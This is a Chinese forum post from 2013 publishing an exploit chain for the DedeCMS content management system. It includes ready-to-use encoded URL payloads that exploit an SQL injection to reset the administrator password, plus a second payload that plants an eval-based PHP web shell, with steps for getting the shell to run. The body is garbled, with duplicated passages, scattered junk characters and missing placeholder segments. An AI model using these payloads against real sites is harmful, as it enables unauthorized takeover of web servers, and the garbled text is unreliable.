找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3043|回复: 0
打印 上一主题 下一主题

dedecms最新版本修改任意管理员漏洞+getshell+exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 16:08:21 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
此漏洞无视gpc转义,过80sec注入防御。! T& F, p( V$ T& C0 t) t$ g, h8 c
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?9 p2 c+ k* v5 X; S) j& F" Y/ [, ]9 R
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。! F9 X4 s# y- a# @& l% y
include/dedesql.class.php8 w$ f+ c7 @2 j# f0 g
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。$ Z5 |$ G9 j8 ^: o* S( q
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2. z- j8 _" s  Z3 B1 A8 g
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。7 e4 l& k, u; W) L9 @
plus/download.php
( {/ l/ @& U% B7 R0 q1 m1 r! p# Zelse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):. R7 `3 Y9 y! s% k! r0 h
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:# |" |9 r$ m( I, d1 z
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
- ^  g" y& e- v9 Fhttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
' K. u" F  T% G$ S% J) x" I9 f+ W  m漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
6 M8 y  Z) f% @& a# U如果找不到后台,参见以前修改数据库直接拿SHELL的方法
8 p* W0 `6 b" F/ ~6 A! Z- i4 NUPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。0 }2 q: }- i! _$ y1 `$ b
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
- x3 ?1 l& R4 ]; C9 @起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。8 Y, o7 k3 [& [- X" m, B
include/dedesql.class.php" V) Q' p$ f& L& l9 K6 ~' t
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。: B/ e1 j$ ?) Z5 u6 H- B
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2+ d7 \6 s4 a1 y- B
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
/ Y7 c! z3 W9 w1 uplus/download.php5 N5 j( A- X( ^. f
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):$ O. b* I3 d! P$ x* y6 j5 B) X
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:, E; b8 t1 |) ]4 f4 D+ b4 |5 x
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
% W3 s( Y) l. S) Y  S% ?http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin% m" H, e5 F! n0 u% j, T4 K8 z
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
: \5 c( ~" E/ Q' m如果找不到后台,参见以前修改数据库直接拿SHELL的方法
, A1 Q; g1 S, b___FCKpd___6getshell:- c4 T/ E8 [. u  }  Y! X- z
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
7 I2 H7 @9 U3 d; a" [http://127.0.0.1/plus/x.php
1 A( k: N. g$ X4 L) a4 o* \update成功后还要访问下 /plus/mytag_js.php?aid=1
& f' B2 c9 e! n1 [4 B, I失败原因:
( T' |% Z2 U( o- ?. b" m5 q+ ]; A测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
  D6 }% o" l" _5 d+ s2 z配图:
: y* E: i7 Z. t' E2 ^* P1 m  m1.查看dede当前版本- a; `. Q' [& a, Q* |6 M
& z+ E/ V, s- @9 v# h
2.执行exp$ n6 }' p; z; _0 p' ^

) Z" C8 }3 R) J* a7 ?http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台6 ^: z, N6 ]" |9 ^$ Q9 T6 l3 v

1 p1 V2 m9 j- ^spider密码admin+ C  h' R# @; l

6 @. y7 e6 e! S9 ]1 o* ]1 @0 Shttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png& j* P* y. g1 `& B' }
原作者:imspider; P* |- ~, W4 K, x* R/ K$ f
$ f# K% `- l5 y
本博客测试+配图+getshell4 V; y& y' ^5 H8 z! ?" D, r: H
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT 7 r% k- k$ L  r& G# T. B

, L, O1 B6 s% J+ q8 Ngetshell:7 d5 S3 c9 }" A7 b5 Q7 x/ E7 Z4 n
___FCKpd___7会在plus目录生成 x.php 密码 m
$ g: J0 @/ j( }  o. l1 d6 W' Nhttp://127.0.0.1/plus/x.php
- A9 u( X# T0 r0 W  X9 oupdate成功后还要访问下 /plus/mytag_js.php?aid=1
5 p) q+ O" [5 [. c$ y: I( \2 Z失败原因:1 P+ x6 W* J" h$ V! r
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
# B1 E7 U- Z: w6 Y配图:+ Y$ R+ t0 K# l) K( \' Y
1.查看dede当前版本
# z! P# y% Y# G! i9 x; fhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png
  M; @! I9 q7 L- t9 `, Y2.执行exp3 B- U; s( ]7 ?9 L' G  ]# c. c8 H* u
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台  J! R2 u1 y4 |
spider密码admin
8 Y: X2 ]% C+ ?" [8 K6 Ahttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png0 p- H2 J( z8 a6 u- r0 k

& ?; Q! {5 z% \4 i5 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表